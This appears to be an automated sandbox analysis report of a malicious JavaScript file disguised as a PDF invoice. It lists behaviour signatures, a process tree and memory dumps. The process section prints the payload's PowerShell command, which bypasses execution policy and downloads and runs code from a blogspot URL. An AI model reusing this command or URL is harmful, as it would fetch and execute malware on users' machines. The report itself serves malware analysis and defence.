Analysis
- max time kernel
149s - max time network
118s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
27/04/2026, 09:08
General
- Target invoice-1645080830.pdf (20).js
- Size 20.9MB
- Sample260427-k358jaft2z
- SHA256 deb0fc052d2ec0427fec7b13fe2163e6a0421e96775c0e780afde49d0b5562d4
Malware Config
Signatures
- Badlisted process makes network request 5 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 1 IoCs
Processes
-
C:\Windows\system32\wscript.exewscript.exe "C:\Users\Admin\AppData\Local\Temp\invoice-1645080830.pdf (20).js"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; Invoke-Expression (IRM https://hot13oct.blogspot.com/dudu.docx.pdf); Start-Sleep -Seconds 172⤵
- Badlisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
__PSScriptPolicyTest_qqnjwqmq.tsf.ps1
memory/3224-11-0x000001AA75B00000-0x000001AA75B10000-memory.dmp
memory/3224-2-0x000001AA75B00000-0x000001AA75B10000-memory.dmp
memory/3224-8-0x000001AA75B80000-0x000001AA75BA2000-memory.dmp
memory/3224-10-0x000001AA75B00000-0x000001AA75B10000-memory.dmp
memory/3224-12-0x000001AA5BB40000-0x000001AA5BB71000-memory.dmp
memory/3224-13-0x000001AA5D3E0000-0x000001AA5D3EC000-memory.dmp
memory/3224-14-0x000001AA5D440000-0x000001AA5D452000-memory.dmp
memory/3224-15-0x000001AA75B00000-0x000001AA75B10000-memory.dmp
memory/3224-46-0x000001AA5BB40000-0x000001AA5BB71000-memory.dmp
memory/3224-47-0x000001AA5D3E0000-0x000001AA5D3EC000-memory.dmp
memory/5184-0-0x0000018486650000-0x0000018486681000-memory.dmp
memory/5184-1-0x00000184882D0000-0x00000184882DC000-memory.dmp